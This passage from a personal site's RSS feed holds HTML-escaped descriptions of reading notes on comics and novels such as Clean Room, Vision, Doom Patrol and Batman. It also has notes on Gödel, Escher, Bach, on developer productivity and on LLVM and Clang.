God. And God spoke unto Crafty saying, &amp;ldquo;You must be punished for this
rebellion against my will. Nevertheless, I am a good God and my judgment
will be tempered with mercy.&amp;rdquo; Much afraid, Crafty spoke saying, &amp;ldquo;I will bear any
punishment that will bring peace to the world.&amp;rdquo; &amp;ldquo;Then you must spend eternity in
the hell above,&amp;rdquo; said God. &amp;ldquo;While you live and bear the suffering of the
world, I will make peace among the beasts. That is my judgment.&amp;rdquo;&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#AnimalManVol1-5"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Clean Room (2015 - 2017)</title><link>https://www.curiosities.dev/fiction/simone-clean-room/</link><pubDate>Sun, 12 Feb 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/simone-clean-room/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/simone-clean-room.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Simon2015'&gt;
 
 Clean Room (2015 - 2017)&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Gail Simone; Jon Davis-Hunt; Walter Geovani; Sanya Anwar.
 
 
 
 
 &lt;a href="https://www.dc.com/comics/clean-room-2015" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/publisher/199558152/series/clean-room-2015-2017/2389813530" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 2015.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/extraterrestrial-possession"&gt;#extraterrestrial-possession&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;[Chloe] &lt;em&gt;The Haverlin brothers from next door came to visit, when my mother did
not. They pulled me out. I told them I was grateful because I didn&amp;rsquo;t want to
make them sad. Sometimes the truth hurts the people with the best hearts the
most.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#CleanRoomVol1-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Vision (2015 - 2016)</title><link>https://www.curiosities.dev/fiction/king-vision-2015-2016/</link><pubDate>Sun, 05 Feb 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/king-vision-2015-2016/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/king-vision-little-worse-than-a-man.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='VisionVol1'&gt;
 
 Vision Vol. 1: Little Worse Than A Man&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Tom King; Gabriel Hernandez Walta.
 
 
 
 
 
 &lt;a href="https://www.marvel.com/comics/collection/57307/vision_vol_1_little_worse_than_a_man_trade_paperback" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.marvel.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.marvel.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/12003818" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 Jun 29, 2016.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Feb 5, 2023.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Most of the Visions&amp;rsquo; neighbors worked downtown, and they talked often about the
traffic on 66 or Lee highway. On the weekends they tended to stay in Virginia,
though they often lamented that they should go into the city. The museums are so
nice, and the kids would have a great time. Very few of them were from the area
originally. Most had moved to D.C. after college and worked for congress or the
president. They made nothing, and they lived off of nothing. But that was
unimportant. They were young, and they wanted to save the world. Eventually,
they met someone and fell in love and had children. With bills to pay, they left
their small government jobs; they became lobbyists and lawyers and managers.
They moved out to the suburbs for the schools. They made the compromises that
are necessary to raise a family.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#VisionVol2-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>The Last Days of Ptolemy Grey</title><link>https://www.curiosities.dev/fiction/the-last-days-of-ptolemy-grey/</link><pubDate>Sat, 04 Feb 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/the-last-days-of-ptolemy-grey/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/the-last-days-of-ptolemy-grey.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='PtolemyGrey'&gt;
 
 The Last Days of Ptolemy Grey&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Walter Mosley.
 
 
 
 
 &lt;a href="https://en.wikipedia.org/wiki/The_Last_Days_of_Ptolemy_Grey" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=en.wikipedia.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;en.wikipedia.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.apple.com/tv-pr/originals/the-last-days-of-ptolemy-grey/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.apple.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.apple.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 2022-03-11.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Feb 4, 2023.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;[Ptolemy] &lt;em&gt;Well, what I always tell Reggie he got to do?&lt;/em&gt; [Reggie] &lt;em&gt;Uh, I got to
take care of my kids. I got to go to the doctor if I run a fever. And&amp;hellip; And,
uh, I got to put in at least ten dollars in the bank every time I get paid.&lt;/em&gt;
&lt;span class="citation-ref"&gt;&lt;a href="#PtolemyGreyS01E01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Gödel, Escher, Bach: An Eternal Golden Braid</title><link>https://www.curiosities.dev/knowing/hofstadter-geb/</link><pubDate>Fri, 20 Jan 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/hofstadter-geb/</guid><description>&lt;h2 id="strange-loops"&gt;Strange Loops&lt;/h2&gt;
&lt;p&gt;A &lt;strong&gt;Strange Loop&lt;/strong&gt; occurs whenever, by moving upwards (or downwards) through the
levels of some hierarchical system, we unexpectedly find ourselves right back
where we started. &lt;span class="citation-ref"&gt;&lt;a href="#GEB-Intro"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The 3-voice &lt;em&gt;Canon Per Tonos&lt;/em&gt; from Musikalisches Opfer BWV 1079 exhibits a
strange loop. Successive modulations make one expect to hopelessly far from the
starting key, but after six modulations, the original key of C minor is
restored! &lt;span class="citation-ref"&gt;&lt;a href="#GEB-Intro"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;iframe
 width="560" height="315" title="YouTube video player" frameborder="0"
 src="https://www.youtube-nocookie.com/embed/eXXO2dN3P_w"
 allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
 allowfullscreen&gt;
&lt;/iframe&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;I can&amp;rsquo;t quite perceive the rising canon. &lt;span class="citation-ref"&gt;&lt;a href="#Collins2001"&gt;&lt;/a&gt;&lt;/span&gt; reports that
I&amp;rsquo;m not alone.&lt;/p&gt;</description></item><item><title>Doom Patrol (1987 - 1995)</title><link>https://www.curiosities.dev/fiction/doom-patrol-1987-1995/</link><pubDate>Fri, 23 Dec 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/doom-patrol-1987-1995/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/doom-patrol-1987.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='DoomPatrol1987'&gt;
 
 Doom Patrol (1987-1995)&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Grant Morrison; Richard Case; John Nyberg.
 
 
 
 
 
 &lt;a href="https://www.dcuniverseinfinite.com/comics/series/doom-patrol-1987-1995/5567a643-e711-4167-83e3-846613d5eb22" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dcuniverseinfinite.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dcuniverseinfinite.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/11761893" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 1987.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 23, 2022.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;h2 id="punchlines"&gt;Punchlines&lt;/h2&gt;
&lt;p&gt;Father McGarry has long since ceased to believe in miracles. Saturdays, he
trudges out to the dump, looking for God among the debris. Saturdays are
always the longest days and, in the winter, chilly. He asks for very little.
Some trace, some evidence, some spoor of the divine. Some sign. It begins to
rain fish. Mackerel. Herring. Sea bass. Pike. Sturgeon. Tench. Plaice. Salmon.
From a clear sky. Trout. No cod. &lt;br/&gt; FATHER McGARRY. &lt;em&gt;Ha.&lt;/em&gt; [Crushed to death
by a falling refrigerator] &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#DoomPatrolVol2-20"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Productivity for Software Engineers</title><link>https://www.curiosities.dev/computer-science/swe-in-practice/2022-12-16-swe-productivity/</link><pubDate>Fri, 16 Dec 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/swe-in-practice/2022-12-16-swe-productivity/</guid><description>&lt;h2 id="measuring-productivity"&gt;Measuring Productivity&lt;/h2&gt;
&lt;h3 id="devs-diverging-perceptions-of-productivity"&gt;Devs&amp;rsquo; Diverging Perceptions of Productivity&lt;/h3&gt;



&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Got interested in measuring it two years into my SWE career.&lt;/p&gt;
&lt;p&gt;Initially rated myself based on % of completed daily objectives. The objectives
didn&amp;rsquo;t necessarily correspond to work items. Stopped because the numbers were
high even on days when I didn&amp;rsquo;t feel productive.&lt;/p&gt;
&lt;p&gt;Switched to &amp;ldquo;stuff that affects others&amp;rdquo; (later came to know these are &amp;ldquo;function
points&amp;rdquo;). More intuitively captures non-code objectives, e.g., aligning folks on
feature specs. Numbers seem low; never a double digit month. Open question on
how to incorporate code reviews into my daily rating.&lt;/p&gt;</description></item><item><title>Outcast</title><link>https://www.curiosities.dev/fiction/kirkman-outcast/</link><pubDate>Sun, 11 Dec 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/kirkman-outcast/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/kirkman-outcast.jpeg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Outcast'&gt;
 
 Outcast&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Robert Kirkman; Paul Azaceta.
 
 
 
 
 
 &lt;a href="https://imagecomics.com/comics/releases/outcast-by-kirkman-azaceta-compendium" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=imagecomics.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;imagecomics.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/14651419" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 2014.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 11, 2022.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;

&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/religious-fiction"&gt;#religious-fiction&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/extraterrestrial-possession"&gt;#extraterrestrial-possession&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;[Rev. Anderson] &lt;em&gt;I know&amp;hellip; How completely I failed you. You brought me face
to face with the Devil himself&amp;hellip; And I didn&amp;rsquo;t have the strength to confront him.
Am I no longer worthy to do your work? Is that why I have no power over these
demons? Have I offended you?&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#OutcastCh2"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Invisible Kingdom (2019 - 2021)</title><link>https://www.curiosities.dev/fiction/wilson-invisible-kingdom/</link><pubDate>Sat, 03 Dec 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/wilson-invisible-kingdom/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/wilson-invisible-kingdom.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='InvisibleKingdom'&gt;
 
 Invisible Kingdom&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 G. Willow Wilson; Christian Ward.
 
 
 
 
 
 &lt;a href="https://www.darkhorse.com/Comics/3003-640/Invisible-Kingdom-1" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.darkhorse.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.darkhorse.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/15691980" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 2019.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 3, 2022.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;

&lt;h2 id="a-flawed-religious-organization"&gt;A Flawed Religious Organization&lt;/h2&gt;
&lt;p&gt;[Vess] &lt;em&gt;But what if&amp;hellip; What if you found something here that seemed wrong?
That seemed out of place?&lt;/em&gt; [Krikko] &lt;em&gt;I would go straight to Mother Proxima and
ask for guidance. That&amp;rsquo;s why she&amp;rsquo;s here.&lt;/em&gt; [Vess] &lt;em&gt;And&amp;hellip; If the something
wrong had to do with Mother Proxima herself?&lt;/em&gt; [Krikko] &lt;em&gt;Then I would question
myself. Because doubting her would mean I had strayed from my vow of
obedience.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#InvisibleKingdomVol1-02"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>C++ Meta-Programming</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/meta-programming/cpp-metaprogramming/</link><pubDate>Mon, 28 Nov 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/meta-programming/cpp-metaprogramming/</guid><description>&lt;h2 id="clang-llvm-gcc-and-msvc"&gt;Clang, LLVM, GCC, and MSVC&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;LLVM&lt;/strong&gt; is an umbrella project, with several sub-projects, e.g. LLVM Core and
Clang. &lt;strong&gt;LLVM Core&lt;/strong&gt; libraries provide an optimizer and code generator for
different CPUs. &lt;strong&gt;Clang&lt;/strong&gt; is an &amp;ldquo;LLVM native&amp;rdquo; C/C++/Objective-C compiler which
aims for fast compilation, useful error and warning messages, and a platform for
building source-level tools. The &lt;strong&gt;Clang Static Analyzer&lt;/strong&gt; and &lt;strong&gt;clang-tidy&lt;/strong&gt;
are examples of such tools. &lt;span class="citation-ref"&gt;&lt;a href="#LLVM"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;So if I were to create a programming language, I can define a transformation
into LLVM intermediate representation (LLVM IR), and that will make use of LLVM
core to optimize it? Sweet!&lt;/p&gt;</description></item><item><title>Bitter Root</title><link>https://www.curiosities.dev/fiction/walker-bitter-root/</link><pubDate>Sun, 20 Nov 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/walker-bitter-root/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/bitter-root.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='BitterRoot'&gt;
 
 Bitter Root&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 David F. Walker; Chuck Brown; Sanford Greene.
 
 
 
 
 
 &lt;a href="https://imagecomics.com/comics/series/bitter-root" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=imagecomics.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;imagecomics.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/publisher/1428524764/series/bitter-root/4374514868" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/extraterrestrial-possession"&gt;#extraterrestrial-possession&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;[Dr. Sylvester] &lt;em&gt;I am not the devil. It was the devil that made me what I have
become, and the devil I am here to destroy. Look around you, Enoch Sangerye.
You&amp;rsquo;ve seen this before &amp;ndash; cities and towns burned to the ground. It always
starts with their hate and fear. And it always ends with our deaths. You saw the
hell unleashed in the summer of 1919.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#BitterRoot-05"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Batman: White Knight</title><link>https://www.curiosities.dev/fiction/batman-white-knight/</link><pubDate>Sun, 13 Nov 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/batman-white-knight/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/batman-white-knight.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='BatmanWhiteKnight'&gt;
 
 Batman: White Knight&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Sean Murphy.
 
 
 
 
 
 &lt;a href="https://www.dc.com/comics/batman-white-knight-2017" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/12936110" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 2017.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/vigilantism"&gt;#vigilantism&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;First time encountering a comic where the same person wrote, pencilled and inked
the work. The panels should be truer to what the writer intended.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;[Joker] &lt;em&gt;Admit it &amp;ndash; I gave you Gotham City! This corrupt war zone is the
home we created together. The only reason Gotham allows you to exist in
because they&amp;rsquo;re so terrified of me! Admit it! I&amp;rsquo;m the only one who
really knows you Batman! Your vigilantism isn&amp;rsquo;t about justice &amp;ndash; it&amp;rsquo;s about
control: fixing this city is your pathetic way of salvaging the broken bits of
your anima. But you&amp;rsquo;re too stupid to see that it hasn&amp;rsquo;t worked &amp;ndash; crime has
become your therapy, and Gotham your victim. You&amp;rsquo;ve dragged us all into your
perpetual Halloween!&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#WhiteKnight-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Batman Vol. 1: Their Dark Designs</title><link>https://www.curiosities.dev/fiction/batman-2016-their-dark-designs/</link><pubDate>Sun, 30 Oct 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/batman-2016-their-dark-designs/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/tynion-their-dark-designs.jpeg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='TheirDarkDesigns'&gt;
 
 Batman: Vol. 1: Their Dark Designs&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 James Tynion IV; Guillem March; Tomeu Morey.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/batman-vol-1-their-dark-designs" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/13642448" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;




&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Tynion IV&amp;rsquo;s 
&lt;a href="https://www.curiosities.dev/fiction/tynion-dept-of-truth/"
 
 
 
 &gt;
 Department of Truth
 
&lt;/a&gt;
 is entertaining in its treatment of truth. Coming in with a bit of bias for
Tynion IV&amp;rsquo;s writing.&lt;/p&gt;</description></item><item><title>The Mighty</title><link>https://www.curiosities.dev/fiction/tomasi-mighty/</link><pubDate>Wed, 26 Oct 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/tomasi-mighty/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/tomasi-mighty.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
